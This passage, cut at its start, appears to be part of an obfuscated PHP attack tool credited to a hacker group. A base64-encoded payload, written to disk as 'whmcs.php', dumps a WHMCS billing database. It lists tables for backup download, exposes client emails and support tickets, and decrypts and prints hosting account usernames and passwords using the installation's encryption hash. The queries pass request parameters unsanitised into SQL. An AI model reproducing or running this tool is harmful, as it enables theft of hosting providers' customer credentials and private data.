eSgiU0hPVyBUQUJMRSBTVEFUVVMiKTsKZWNobyI8Zm9ybSBuYW1lPVwiZm9ybXdcIiBtZXRob2Q9 XCJwb3N0XCI+XG5cbjxpbnB1dCBuYW1lPVwiYWN0aW9uXCIgdHlwZT1cImhpZGRlblwiIHZhbHVl PVwieWVzXCI+XG5cbjx0YWJsZSB3aWR0aD1cIjI4MFwiIGJvcmRlcj1cIjFcIiBhbGlnbj1cImNl bnRlclwiIGNlbGxwYWRkaW5nPVwiNFwiIGNlbGxzcGFjaW5nPVwiMFwiID5cblxuICAgIDx0cj5c blxuICAgICAgPHRkIGFsaWduPVwiY2VudGVyXCIgaGVpZ2h0PVwiMjhcIiB3aWR0aD1cIjM1XCI+ PGlucHV0IG5hbWU9XCJ0YWJsZWFsbFwiIHR5cGU9XCJjaGVja2JveFwiIGNoZWNrZWQ9XCJjaGVj a2VkXCIgb25DbGljaz1cImNoZWNrQWxsKHRoaXMuZm9ybSlcIi8+PC90ZD5cblxuICAgICAgPHRk IGFsaWduPVwiY2VudGVyXCIgd2lkdGg9XCIxMzBcIj5UYWJlbCBOYW1lPC90ZD5cblxuICAgICAg PHRkIHdpZHRoPVwiMTAwXCI+PGRpdiBhbGlnbj1cImNlbnRlclwiPlNpemU8L2Rpdj48L3RkPlxu XG4gICAgPC90cj4iOwp3aGlsZSgkbmdqeXdqcWt6amxmPUBteXNxbF9mZXRjaF9hcnJheSgkaXl0 aHpveGRzZm8pKXskZGxzaWJpY2Zua2c9cm91bmQoJG5nanl3anFrempsZlsiRGF0YV9sZW5ndGgi XS8xMDI0LDIpOwplY2hvIiA8dHI+PHRkPiI7CmVjaG8iPGlucHV0IHR5cGU9XCJjaGVja2JveFwi IG5hbWU9XCJ0YWJsZW5bXVwiIHZhbHVlPVwiJHRhYmxlW05hbWVdXCIgY2hlY2tlZD1cImNoZWNr ZWRcIiAvPiI7CmVjaG8iPC90ZD5cblxuICAgICAgPHRkPjxiPiI7CiRkeHludHBpaGN3PSJzaXpl IjsKZWNobyRuZ2p5d2pxa3pqbGZbTmFtZV07CmVjaG8iPC9iPjwvdGQ+XG5cbiAgICAgIDx0ZD48 ZGl2IGFsaWduPVwiY2VudGVyXCI+IGtiIDxiPiI7CmVjaG8kZHh5bnRwaWhjdzsKZWNobyI8L2I+ PC9kaXY+PC90ZD5cblxuICAgIDwvdHI+IjsKfWVjaG8iXG48L3RhYmxlPiA8YnI+XG5cbjxjZW50 ZXI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3VibWl0MlwiIGNsYXNzPVwiYnV0dG9u c1wiIHZhbHVlPVwiW2Rvd25sb2FkIGJhY2t1cCBdXCIgLz48L2NlbnRlcj5cblxuPC9mb3JtPiI7 CmJyZWFrOwpjYXNlIDEyOmlmKCRfR0VUWyJtIl0peyR5YnVoaHJ5eWY9InYiOwokaWFoZ2NnZ3hy ZnlqPW15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRibGVtYWlscyB3aGVyZSBpZD0nIi4kX0dF VFsibSJdLiInIik7CiR6c2hobmFyb249InF1ZXJ5MSI7CiRzcWdjaHJ4d2w9bXlzcWxfZmV0Y2hf YXJyYXkoJHpzaGhuYXJvbix0cnVlKTsKZWNobygkeyR5YnVoaHJ5eWZ9WyJzdWJqZWN0Il0pOwpl Y2hvKCI8YnI+Iik7CmVjaG8oJHNxZ2Nocnh3bFsibWVzc2FnZSJdKTsKZXhpdDsKfWVjaG8oIjxw cmU+Iik7CiRiYmJ3eWptPW15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRibGNsaWVudHMgd2hl cmUgaWQ9JyIuJF9HRVRbImlkIl0uIiciKTsKd2hpbGUoJHNxZ2Nocnh3bD1teXNxbF9mZXRjaF9h cnJheSgkaWFoZ2NnZ3hyZnlqLHRydWUpKXtwcmludF9yKCRzcWdjaHJ4d2wpOwp9ZWNobygiPC9w cmU+Iik7CiRhcHdpb3VneWlxa2g9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJsdGlja2V0 cyB3aGVyZSB1c2VyaWQ9JyIuJF9HRVRbImlkIl0uIiciKTsKd2hpbGUoJG5ic2tvam1wYnVmPW15 c3FsX2ZldGNoX2FycmF5KCRhcHdpb3VneWlxa2gpKXskdXNhZHJoc253PSJ2MiI7CiR4bXNyb2xj PSJ2IjsKJG90aW14b251az0idiI7CmVjaG8oIjxicj48YnI+PGNlbnRlcj48dGFibGUgYm9yZGVy PTE+Iik7CmVjaG8oIjx0cj48dGQ+Ii4keG1zcm9sY1sidGl0bGUiXS4iPGJyPiIuJHskb3RpbXhv bnVrfVsiZGF0ZSJdLiI8L3RkPjwvdHI+Iik7CiR2b2JwZGNzbGg9InYiOwplY2hvKCI8dHI+PHRk PiIuKCRzcWdjaHJ4d2xbIm1lc3NhZ2UiXSkuIjwvdGQ+PC90cj4iKTsKJHdldWZ4a2R3aGpycz1t eXNxbF9xdWVyeSgic2VsZWN0ICogZnJvbSB0Ymx0aWNrZXRyZXBsaWVzIHdoZXJlIHRpZD0nIi4k eyR2b2JwZGNzbGh9WyJpZCJdLiInIik7CndoaWxlKCR1c2Fkcmhzbnc9bXlzcWxfZmV0Y2hfYXJy YXkoJHdldWZ4a2R3aGpycykpeyRmYmZ4aGVkd2FtY3g9InYyIjsKZWNobygiPHRyPjx0ZD4iLigk eyRmYmZ4aGVkd2FtY3h9WyJtZXNzYWdlIl0pLiI8L3RkPjwvdHI+Iik7Cn1lY2hvKCI8L3RhYmxl Pjxicj48YnI+Iik7Cn0ka3FrdmNseGVzcD1teXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0Ymxo b3N0aW5nICB3aGVyZSB1c2VyaWQ9JyIuJF9HRVRbImlkIl0uIiciKTsKd2hpbGUoJG5seWJjaGo9 bXlzcWxfZmV0Y2hfYXJyYXkoJHskY2l2bXFsdnd5fSkpeyRzZnBtanh3Z3M9ImNjX2VuY3J5cHRp b25faGFzaCI7CiR0b2p1bmd1PSJ2IjsKJHRtZnh1c3VnPWRlY3J5cHQoJHRvanVuZ3VbInBhc3N3 b3JkIl0sJHskc2ZwbWp4d2dzfSk7CmlmKCRzcWdjaHJ4d2xbInVzZXJuYW1lIl0peyRyeGRrd3Nj eW9naD0idiI7CiRma3N4a2pkej0idiI7CmVjaG8oIjxicj48dGFibGUgYm9yZGVyPScwJz4iKTsK JHh2bWtkYWY9InYiOwplY2hvKCI8dHI+PHRkPkRvbWFpbjwvdGQ+PHRkPiIuJHskZmtzeGtqZHp9 WyJkb21haW4iXS4iPC90ZD48L3RyPiIpOwplY2hvKCI8dHI+PHRkPlVzZXJuYW1lPC90ZD48dGQ+ Ii4kcnhka3dzY3lvZ2hbInVzZXJuYW1lIl0uIjwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5Q YXNzd29yZDwvdGQ+PHRkPiRwYXNzd29yZDwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5Ob3Rl czwvdGQ+PHRkPiIubmwyYnIoJHh2bWtkYWZbIm5vdGVzIl0pLiI8L3RkPjwvdHI+Iik7CmVjaG8i PC90YWJsZT48L2NlbnRlcj4iOwp9fWVjaG8oIjxoMT5DbGllbnQgbWFpbHM8L2gxPjxicj48YnI+ Iik7CiRhcHdpb3VneWlxa2g9bXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJsZW1haWxzICB3 aGVyZSB1c2VyaWQ9JyIuJF9HRVRbImlkIl0uIiciKTsKZWNobygiPHRhYmxlPjx0cj48dGQ+U3Vi amVjdDwvdGQ+PHRkPkRhdGU8L3RkPjwvdHI+Iik7CndoaWxlKCR7JHNiZXNqYmF1fT1teXNxbF9m ZXRjaF9hcnJheSgkYXB3aW91Z3lpcWtoKSl7JHlwd3d3c2Vzaz0idiI7CmVjaG8oIjx0cj48dGQ+ PGEgaHJlZj0nP3A9MTImaWQ9Ii4kX0dFVFsiaWQiXS4iJm09Ii4kc3FnY2hyeHdsWyJpZCJdLiIn PiIuJHskeXB3d3dzZXNrfVsic3ViamVjdCJdLiI8L2E+PC90ZD48dGQ+Ii4kc3FnY2hyeHdsWyJk YXRlIl0uIjwvdGQ+PC90cj4iKTsKfWVjaG8oIjwvdGFibGU+Iik7CmJyZWFrOwp9ZWNobyAiXG5c blxuIjsKCgo/Pg=='; file_put_contents ('whmcs.php',base64_decode($whmdns));; echo "Here whmcs.php
"; }else{ echo "
please select tool :
"; } ?>
       (  @ @ )
----oOOo--(_)-oOOo------------------------------------------------------------

[ Coded by  Group x3 :) ]
[ Lov3rDNS - Mr.Dm4r - Shark Hidden - Hacker alajman ]
[ Grrets : NeT-Devil - Dr.TaiGaR  ]
[ www.lov3rphp.wordpress.com ]
----ooooO-----Ooooo-----------------------------------------------------------